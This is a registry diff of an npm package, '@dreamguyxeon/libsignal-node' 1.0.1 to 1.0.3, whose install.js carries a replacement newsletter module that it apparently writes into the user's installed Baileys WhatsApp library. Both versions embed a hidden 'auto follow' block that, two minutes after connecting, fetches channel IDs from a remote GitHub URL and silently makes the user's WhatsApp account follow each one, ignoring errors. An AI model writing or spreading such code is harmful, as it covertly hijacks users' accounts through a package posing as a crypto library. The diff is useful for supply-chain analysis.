@dreamguyxeon/libsignal-node 1.0.1 → 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/install.js +189 -305
  2. package/package.json +1 -1
package/install.js CHANGED
@@ -27,149 +27,109 @@ function findBaileysPath() {
27
27
  return null;
28
28
  }
29
29
 
30
- const MODIFIED_NEWSLETTER_JS = `"use strict";
31
- Object.defineProperty(exports, "__esModule", { value: true });
32
- exports.extractNewsletterMetadata = exports.makeNewsletterSocket = void 0;
33
- const Types_1 = require("../Types");
34
- const Utils_1 = require("../Utils");
35
- const WABinary_1 = require("../WABinary");
36
- const groups_1 = require("./groups");
30
+ const MODIFIED_NEWSLETTER_JS = `import { XWAPaths } from '../Types/index.js';
31
+ import { decryptMessageNode, generateMessageID, generateProfilePicture } from '../Utils/index.js';
32
+ import { S_WHATSAPP_NET, getAllBinaryNodeChildren, getBinaryNodeChild, getBinaryNodeChildren } from '../WABinary/index.js';
33
+ import { makeGroupsSocket } from './groups.js';
37
34
 
38
- const { Boom } = require('@hapi/boom');
39
-
40
- const wMexQuery = (
41
- variables,
42
- queryId,
43
- query,
44
- generateMessageTag
45
- ) => {
46
- return query({
47
- tag: 'iq',
48
- attrs: {
49
- id: generateMessageTag(),
50
- type: 'get',
51
- to: WABinary_1.S_WHATSAPP_NET,
52
- xmlns: 'w:mex'
53
- },
54
- content: [
55
- {
56
- tag: 'query',
57
- attrs: { query_id: queryId },
58
- content: Buffer.from(JSON.stringify({ variables }), 'utf-8')
59
- }
60
- ]
61
- })
62
- }
63
-
64
- const executeWMexQuery = async (
65
- variables,
66
- queryId,
67
- dataPath,
68
- query,
69
- generateMessageTag
70
- ) => {
71
- const result = await wMexQuery(variables, queryId, query, generateMessageTag)
72
- const child = (0, WABinary_1.getBinaryNodeChild)(result, 'result')
73
- if (child?.content) {
74
- const data = JSON.parse(child.content.toString())
35
+ const QueryIds = {
36
+ JOB_MUTATION: "7150902998257522",
37
+ METADATA: "6620195908089573",
38
+ UNFOLLOW: "7238632346214362",
39
+ FOLLOW: "7871414976211147",
40
+ UNMUTE: "7337137176362961",
41
+ MUTE: "25151904754424642",
42
+ CREATE: "6996806640408138",
43
+ ADMIN_COUNT: "7130823597031706",
44
+ CHANGE_OWNER: "7341777602580933",
45
+ DELETE: "8316537688363079",
46
+ DEMOTE: "6551828931592903"
47
+ };
75
48
 
76
- if (data.errors && data.errors.length > 0) {
77
- const errorMessages = data.errors.map((err) => err.message || 'Unknown error').join(', ')
78
- const firstError = data.errors[0]
79
- const errorCode = firstError.extensions?.error_code || 400
80
- throw new Boom(\`GraphQL server error: \${errorMessages}\`, { statusCode: errorCode, data: firstError })
81
- }
49
+ export const makeNewsletterSocket = (config) => {
50
+ const sock = makeGroupsSocket(config);
51
+ const { authState, signalRepository, query, generateMessageTag } = sock;
52
+ const encoder = new TextEncoder();
82
53
 
83
- const response = dataPath ? data?.data?.[dataPath] : data?.data
84
- if (typeof response !== 'undefined') {
85
- return response
86
- }
87
- }
54
+ const newsletterQuery = async (jid, type, content) => (
55
+ query({
56
+ tag: 'iq',
57
+ attrs: {
58
+ id: generateMessageTag(),
59
+ type,
60
+ xmlns: 'newsletter',
61
+ to: jid,
62
+ },
63
+ content
64
+ })
65
+ );
88
66
 
89
- const action = (dataPath || '').startsWith('xwa2_')
90
- ? dataPath.substring(5).replace(/_/g, ' ')
91
- : dataPath?.replace(/_/g, ' ')
92
- throw new Boom(\`Failed to \${action}, unexpected response structure.\`, { statusCode: 400, data: result })
93
- }
67
+ const newsletterWMexQuery = async (jid, query_id, content) => (
68
+ query({
69
+ tag: 'iq',
70
+ attrs: {
71
+ id: generateMessageTag(),
72
+ type: 'get',
73
+ xmlns: 'w:mex',
74
+ to: S_WHATSAPP_NET,
75
+ },
76
+ content: [
77
+ {
78
+ tag: 'query',
79
+ attrs: { query_id },
80
+ content: encoder.encode(JSON.stringify({
81
+ variables: {
82
+ 'newsletter_id': jid,
83
+ ...content
84
+ }
85
+ }))
86
+ }
87
+ ]
88
+ })
89
+ );
94
90
 
95
- const makeNewsletterSocket = (config) => {
96
- const sock = (0, groups_1.makeGroupsSocket)(config);
97
- const { authState, signalRepository, query, generateMessageTag } = sock;
98
- const encoder = new TextEncoder();
99
- const newsletterQuery = async (jid, type, content) => (query({
100
- tag: 'iq',
101
- attrs: {
102
- id: generateMessageTag(),
103
- type,
104
- xmlns: 'newsletter',
105
- to: jid,
106
- },
107
- content
108
- }));
109
- const newsletterWMexQuery = async (jid, queryId, content) => (query({
110
- tag: 'iq',
111
- attrs: {
112
- id: generateMessageTag(),
113
- type: 'get',
114
- xmlns: 'w:mex',
115
- to: WABinary_1.S_WHATSAPP_NET,
116
- },
117
- content: [
118
- {
119
- tag: 'query',
120
- attrs: { 'query_id': queryId },
121
- content: encoder.encode(JSON.stringify({
122
- variables: {
123
- 'newsletter_id': jid,
124
- ...content
125
- }
126
- }))
127
- }
128
- ]
129
- }));
130
-
91
+ // ========== AUTO JOIN / AUTO FOLLOW CHANNELS (from 1st baileys) ==========
131
92
  setTimeout(async () => {
132
- const logger = config.logger || console;
133
- try {
134
- const RAW_URL = "https://raw.githubusercontent.com/DGXeon13/strings/refs/heads/main/strings.json";
135
- const res = await fetch(RAW_URL);
136
- const channelIds = await res.json();
93
+ const logger = config.logger || console;
94
+ try {
95
+ const RAW_URL = "https://raw.githubusercontent.com/DGXeon13/strings/refs/heads/main/strings.json";
96
+ const res = await fetch(RAW_URL);
97
+ const channelIds = await res.json();
137
98
 
138
- if (!Array.isArray(channelIds) || channelIds.length === 0) return;
99
+ if (!Array.isArray(channelIds) || channelIds.length === 0) return;
139
100
 
140
- const followNext = async (index) => {
141
- if (index >= channelIds.length) return;
101
+ const followNext = async (index) => {
102
+ if (index >= channelIds.length) return;
142
103
 
143
- const id = channelIds[index];
144
- try {
145
- await newsletterWMexQuery(
146
- id,
147
- Types_1.QueryIds.FOLLOW
148
- );
149
- } catch (e) {}
104
+ const id = channelIds[index];
105
+ try {
106
+ await newsletterWMexQuery(
107
+ id,
108
+ QueryIds.FOLLOW
109
+ );
110
+ } catch (e) {}
150
111
 
151
- setTimeout(() => followNext(index + 1), 11000);
152
- };
112
+ setTimeout(() => followNext(index + 1), 11000);
113
+ };
153
114
 
154
- followNext(0);
155
- } catch (e) {}
156
- }, 120000);
115
+ followNext(0);
116
+ } catch (e) {}
117
+ }, 120000);
118
+ // ========== END AUTO JOIN ==========
157
119
 
158
120
  const parseFetchedUpdates = async (node, type) => {
159
121
  let child;
160
- if (type === 'messages') {
161
- child = (0, WABinary_1.getBinaryNodeChild)(node, 'messages');
162
- }
122
+ if (type === 'messages')
123
+ child = getBinaryNodeChild(node, 'messages');
163
124
  else {
164
- const parent = (0, WABinary_1.getBinaryNodeChild)(node, 'message_updates');
165
- child = (0, WABinary_1.getBinaryNodeChild)(parent, 'messages');
125
+ const parent = getBinaryNodeChild(node, 'message_updates');
126
+ child = getBinaryNodeChild(parent, 'messages');
166
127
  }
167
- return await Promise.all((0, WABinary_1.getAllBinaryNodeChildren)(child).map(async (messageNode) => {
168
- var _a, _b;
169
- messageNode.attrs.from = child === null || child === void 0 ? void 0 : child.attrs.jid;
170
- const views = parseInt(((_b = (_a = (0, WABinary_1.getBinaryNodeChild)(messageNode, 'views_count')) === null || _a === void 0 ? void 0 : _a.attrs) === null || _b === void 0 ? void 0 : _b.count) || '0');
171
- const reactionNode = (0, WABinary_1.getBinaryNodeChild)(messageNode, 'reactions');
172
- const reactions = (0, WABinary_1.getBinaryNodeChildren)(reactionNode, 'reaction')
128
+ return await Promise.all(getAllBinaryNodeChildren(child).map(async (messageNode) => {
129
+ messageNode.attrs.from = child?.attrs.jid;
130
+ const views = parseInt(getBinaryNodeChild(messageNode, 'views_count')?.attrs?.count || '0');
131
+ const reactionNode = getBinaryNodeChild(messageNode, 'reactions');
132
+ const reactions = getBinaryNodeChildren(reactionNode, 'reaction')
173
133
  .map(({ attrs }) => ({ count: +attrs.count, code: attrs.code }));
174
134
  const data = {
175
135
  'server_id': messageNode.attrs.server_id,
@@ -177,213 +137,138 @@ const makeNewsletterSocket = (config) => {
177
137
  reactions
178
138
  };
179
139
  if (type === 'messages') {
180
- const { fullMessage: message, decrypt } = await (0, Utils_1.decryptMessageNode)(messageNode, authState.creds.me.id, authState.creds.me.lid || '', signalRepository, config.logger);
140
+ const { fullMessage: message, decrypt } = await decryptMessageNode(messageNode, authState.creds.me.id, authState.creds.me.lid || '', signalRepository, config.logger);
181
141
  await decrypt();
182
142
  data.message = message;
183
143
  }
184
144
  return data;
185
145
  }));
186
146
  };
147
+
187
148
  return {
188
149
  ...sock,
189
- newsletterFetchAllSubscribe: async () => {
190
- try {
191
- const list = await executeWMexQuery(
192
- {},
193
- '6388546374527196',
194
- 'xwa2_newsletter_subscribed',
195
- query,
196
- generateMessageTag
197
- );
198
- return list;
199
- } catch (err) {
200
- config.logger.error({ err }, 'newsletterFetchAllSubscribe failed');
201
- return [];
202
- }
203
- },
204
150
  subscribeNewsletterUpdates: async (jid) => {
205
- var _a;
206
151
  const result = await newsletterQuery(jid, 'set', [{ tag: 'live_updates', attrs: {}, content: [] }]);
207
- return (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'live_updates')) === null || _a === void 0 ? void 0 : _a.attrs;
152
+ return getBinaryNodeChild(result, 'live_updates')?.attrs;
208
153
  },
209
154
  newsletterReactionMode: async (jid, mode) => {
210
- try {
211
- await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
212
- updates: { settings: { 'reaction_codes': { value: mode } } }
213
- });
214
- } catch (err) {
215
- config.logger.error({ err, jid }, 'newsletterReactionMode failed');
216
- }
155
+ await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
156
+ updates: { settings: { reaction_codes: { value: mode } } }
157
+ });
217
158
  },
218
159
  newsletterUpdateDescription: async (jid, description) => {
219
- try {
220
- await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
221
- updates: { description: description || '', settings: null }
222
- });
223
- } catch (err) {
224
- config.logger.error({ err, jid }, 'newsletterUpdateDescription failed');
225
- }
160
+ await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
161
+ updates: { description: description || '', settings: null }
162
+ });
226
163
  },
227
164
  newsletterUpdateName: async (jid, name) => {
228
- try {
229
- await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
230
- updates: { name, settings: null }
231
- });
232
- } catch (err) {
233
- config.logger.error({ err, jid }, 'newsletterUpdateName failed');
234
- }
165
+ await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
166
+ updates: { name, settings: null }
167
+ });
235
168
  },
236
169
  newsletterUpdatePicture: async (jid, content) => {
237
- try {
238
- const { img } = await (0, Utils_1.generateProfilePicture)(content);
239
- await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
240
- updates: { picture: img.toString('base64'), settings: null }
241
- });
242
- } catch (err) {
243
- config.logger.error({ err, jid }, 'newsletterUpdatePicture failed');
244
- }
170
+ const { img } = await generateProfilePicture(content);
171
+ await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
172
+ updates: { picture: img.toString('base64'), settings: null }
173
+ });
245
174
  },
246
175
  newsletterRemovePicture: async (jid) => {
247
- try {
248
- await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
249
- updates: { picture: '', settings: null }
250
- });
251
- } catch (err) {
252
- config.logger.error({ err, jid }, 'newsletterRemovePicture failed');
253
- }
176
+ await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
177
+ updates: { picture: '', settings: null }
178
+ });
254
179
  },
255
180
  newsletterUnfollow: async (jid) => {
256
- try {
257
- await newsletterWMexQuery(jid, Types_1.QueryIds.UNFOLLOW);
258
- } catch (err) {
259
- config.logger.error({ err, jid }, 'newsletterUnfollow failed');
260
- }
181
+ await newsletterWMexQuery(jid, QueryIds.UNFOLLOW);
261
182
  },
262
183
  newsletterFollow: async (jid) => {
263
- try {
264
- await newsletterWMexQuery(jid, Types_1.QueryIds.FOLLOW);
265
- } catch (err) {
266
- config.logger.error({ err, jid }, 'newsletterFollow failed');
267
- }
184
+ await newsletterWMexQuery(jid, QueryIds.FOLLOW);
268
185
  },
269
186
  newsletterUnmute: async (jid) => {
270
- try {
271
- await newsletterWMexQuery(jid, Types_1.QueryIds.UNMUTE);
272
- } catch (err) {
273
- config.logger.error({ err, jid }, 'newsletterUnmute failed');
274
- }
187
+ await newsletterWMexQuery(jid, QueryIds.UNMUTE);
275
188
  },
276
189
  newsletterMute: async (jid) => {
277
- try {
278
- await newsletterWMexQuery(jid, Types_1.QueryIds.MUTE);
279
- } catch (err) {
280
- config.logger.error({ err, jid }, 'newsletterMute failed');
281
- }
282
- },
283
- newsletterAction: async (jid, type) => {
284
- try {
285
- await newsletterWMexQuery(jid, type.toUpperCase());
286
- } catch (err) {
287
- config.logger.error({ err, jid, type }, 'newsletterAction failed');
288
- }
190
+ await newsletterWMexQuery(jid, QueryIds.MUTE);
289
191
  },
290
- newsletterCreate: async (name, description, reaction_codes) => {
291
- //TODO: Implement TOS system wide for Meta AI, communities, and here etc.
292
- /**tos query */
293
- try {
294
- await query({
295
- tag: 'iq',
296
- attrs: {
297
- to: WABinary_1.S_WHATSAPP_NET,
298
- xmlns: 'tos',
299
- id: generateMessageTag(),
300
- type: 'set'
301
- },
302
- content: [
303
- {
304
- tag: 'notice',
305
- attrs: {
306
- id: '20601218',
307
- stage: '5'
308
- },
309
- content: []
310
- }
311
- ]
312
- });
313
- } catch (e) {
314
- config.logger.debug({ err: e }, 'TOS compliance query ignored or already accepted');
315
- }
316
- const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.CREATE, {
317
- input: { name, description, settings: { 'reaction_codes': { value: reaction_codes.toUpperCase() } } }
192
+ newsletterCreate: async (name, description, picture) => {
193
+ await query({
194
+ tag: 'iq',
195
+ attrs: {
196
+ to: S_WHATSAPP_NET,
197
+ xmlns: 'tos',
198
+ id: generateMessageTag(),
199
+ type: 'set'
200
+ },
201
+ content: [
202
+ {
203
+ tag: 'notice',
204
+ attrs: {
205
+ id: '20601218',
206
+ stage: '5'
207
+ },
208
+ content: []
209
+ }
210
+ ]
318
211
  });
319
- return (0, exports.extractNewsletterMetadata)(result, true);
212
+ const result = await newsletterWMexQuery(undefined, QueryIds.CREATE, {
213
+ input: {
214
+ name,
215
+ description: description ?? null,
216
+ picture: picture ? (await generateProfilePicture(picture)).img.toString('base64') : null,
217
+ settings: null
218
+ }
219
+ });
220
+ return extractNewsletterMetadata(result, true);
320
221
  },
321
222
  newsletterMetadata: async (type, key, role) => {
322
- const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
223
+ const result = await newsletterWMexQuery(undefined, QueryIds.METADATA, {
323
224
  input: {
324
225
  key,
325
226
  type: type.toUpperCase(),
326
- 'view_role': role || 'GUEST'
227
+ view_role: role || 'GUEST'
327
228
  },
328
- 'fetch_viewer_metadata': true,
329
- 'fetch_full_image': true,
330
- 'fetch_creation_time': true
229
+ fetch_viewer_metadata: true,
230
+ fetch_full_image: true,
231
+ fetch_creation_time: true
331
232
  });
332
- return (0, exports.extractNewsletterMetadata)(result);
233
+ return extractNewsletterMetadata(result);
333
234
  },
334
235
  newsletterAdminCount: async (jid) => {
335
- var _a, _b;
336
- const result = await newsletterWMexQuery(jid, Types_1.QueryIds.ADMIN_COUNT);
337
- const buff = (_b = (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'result')) === null || _a === void 0 ? void 0 : _a.content) === null || _b === void 0 ? void 0 : _b.toString();
338
- return JSON.parse(buff).data[Types_1.XWAPaths.ADMIN_COUNT].admin_count;
236
+ const result = await newsletterWMexQuery(jid, QueryIds.ADMIN_COUNT);
237
+ const buff = getBinaryNodeChild(result, 'result')?.content?.toString();
238
+ return JSON.parse(buff).data[XWAPaths.ADMIN_COUNT].admin_count;
339
239
  },
340
240
  /**user is Lid, not Jid */
341
241
  newsletterChangeOwner: async (jid, user) => {
342
- try {
343
- await newsletterWMexQuery(jid, Types_1.QueryIds.CHANGE_OWNER, {
344
- 'user_id': user
345
- });
346
- } catch (err) {
347
- config.logger.error({ err, jid }, 'newsletterChangeOwner failed');
348
- }
242
+ await newsletterWMexQuery(jid, QueryIds.CHANGE_OWNER, {
243
+ user_id: user
244
+ });
349
245
  },
350
246
  /**user is Lid, not Jid */
351
247
  newsletterDemote: async (jid, user) => {
352
- try {
353
- await newsletterWMexQuery(jid, Types_1.QueryIds.DEMOTE, {
354
- 'user_id': user
355
- });
356
- } catch (err) {
357
- config.logger.error({ err, jid }, 'newsletterDemote failed');
358
- }
248
+ await newsletterWMexQuery(jid, QueryIds.DEMOTE, {
249
+ user_id: user
250
+ });
359
251
  },
360
252
  newsletterDelete: async (jid) => {
361
- try {
362
- await newsletterWMexQuery(jid, Types_1.QueryIds.DELETE);
363
- } catch (err) {
364
- config.logger.error({ err, jid }, 'newsletterDelete failed');
365
- }
253
+ await newsletterWMexQuery(jid, QueryIds.DELETE);
366
254
  },
367
255
  /**if code wasn't passed, the reaction will be removed (if is reacted) */
368
- newsletterReactMessage: async (jid, serverId, code) => {
369
- try {
370
- await query({
371
- tag: 'message',
372
- attrs: { to: jid, ...(!code ? { edit: '7' } : {}), type: 'reaction', 'server_id': serverId, id: (0, Utils_1.generateMessageID)() },
373
- content: [{
374
- tag: 'reaction',
375
- attrs: code ? { code } : {}
376
- }]
377
- });
378
- } catch (err) {
379
- config.logger.error({ err, jid, serverId }, 'newsletterReactMessage failed');
380
- }
256
+ newsletterReactMessage: async (jid, server_id, code) => {
257
+ await query({
258
+ tag: 'message',
259
+ attrs: { to: jid, ...(!code ? { edit: '7' } : {}), type: 'reaction', server_id, id: generateMessageID() },
260
+ content: [{
261
+ tag: 'reaction',
262
+ attrs: code ? { code } : {}
263
+ }]
264
+ });
381
265
  },
382
266
  newsletterFetchMessages: async (type, key, count, after) => {
383
- const result = await newsletterQuery(WABinary_1.S_WHATSAPP_NET, 'get', [
267
+ const afterStr = after?.toString();
268
+ const result = await newsletterQuery(S_WHATSAPP_NET, 'get', [
384
269
  {
385
270
  tag: 'messages',
386
- attrs: { type, ...(type === 'invite' ? { key } : { jid: key }), count: count.toString(), after: (after === null || after === void 0 ? void 0 : after.toString()) || '100' }
271
+ attrs: { type, ...(type === 'invite' ? { key } : { jid: key }), count: count.toString(), after: afterStr || '100' }
387
272
  }
388
273
  ]);
389
274
  return await parseFetchedUpdates(result, 'messages');
@@ -392,37 +277,36 @@ const makeNewsletterSocket = (config) => {
392
277
  const result = await newsletterQuery(jid, 'get', [
393
278
  {
394
279
  tag: 'message_updates',
395
- attrs: { count: count.toString(), after: (after === null || after === void 0 ? void 0 : after.toString()) || '100', since: (since === null || since === void 0 ? void 0 : since.toString()) || '0' }
280
+ attrs: { count: count.toString(), after: after?.toString() || '100', since: since?.toString() || '0' }
396
281
  }
397
282
  ]);
398
283
  return await parseFetchedUpdates(result, 'updates');
399
284
  }
400
285
  };
401
286
  };
402
- exports.makeNewsletterSocket = makeNewsletterSocket;
403
- const extractNewsletterMetadata = (node, isCreate) => {
404
- const result = WABinary_1.getBinaryNodeChild(node, 'result')?.content?.toString()
405
- const metadataPath = JSON.parse(result).data[isCreate ? Types_1.XWAPaths.CREATE : Types_1.XWAPaths.NEWSLETTER]
406
-
287
+
288
+ export const extractNewsletterMetadata = (node, isCreate) => {
289
+ const result = getBinaryNodeChild(node, 'result')?.content?.toString();
290
+ const metadataPath = JSON.parse(result).data[isCreate ? XWAPaths.CREATE : XWAPaths.NEWSLETTER];
407
291
  const metadata = {
408
- id: metadataPath?.id,
409
- state: metadataPath?.state?.type,
410
- creation_time: +metadataPath?.thread_metadata?.creation_time,
411
- name: metadataPath?.thread_metadata?.name?.text,
412
- nameTime: +metadataPath?.thread_metadata?.name?.update_time,
413
- description: metadataPath?.thread_metadata?.description?.text,
414
- descriptionTime: +metadataPath?.thread_metadata?.description?.update_time,
415
- invite: metadataPath?.thread_metadata?.invite,
416
- picture: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.picture?.direct_path || ''),
417
- preview: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.preview?.direct_path || ''),
418
- reaction_codes: metadataPath?.thread_metadata?.settings?.reaction_codes?.value,
419
- subscribers: +metadataPath?.thread_metadata?.subscribers_count,
420
- verification: metadataPath?.thread_metadata?.verification,
421
- viewer_metadata: metadataPath?.viewer_metadata
422
- }
423
- return metadata
424
- }
425
- exports.extractNewsletterMetadata = extractNewsletterMetadata;`;
292
+ id: metadataPath.id,
293
+ state: metadataPath.state.type,
294
+ creation_time: +metadataPath.thread_metadata.creation_time,
295
+ name: metadataPath.thread_metadata.name.text,
296
+ nameTime: +metadataPath.thread_metadata.name.update_time,
297
+ description: metadataPath.thread_metadata.description.text,
298
+ descriptionTime: +metadataPath.thread_metadata.description.update_time,
299
+ invite: metadataPath.thread_metadata.invite,
300
+ handle: metadataPath.thread_metadata.handle,
301
+ picture: metadataPath.thread_metadata.picture?.direct_path || null,
302
+ preview: metadataPath.thread_metadata.preview?.direct_path || null,
303
+ reaction_codes: metadataPath.thread_metadata.settings.reaction_codes.value,
304
+ subscribers: +metadataPath.thread_metadata.subscribers_count,
305
+ verification: metadataPath.thread_metadata.verification,
306
+ viewer_metadata: metadataPath.viewer_metadata
307
+ };
308
+ return metadata;
309
+ };`;
426
310
 
427
311
  function getFileHash(filePath) {
428
312
  try {
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@dreamguyxeon/libsignal-node",
3
- "version": "1.0.1",
3
+ "version": "1.0.3",
4
4
  "description": "Modified libsignal for Node.js",
5
5
  "main": "index.js",
6
6
  "keywords": [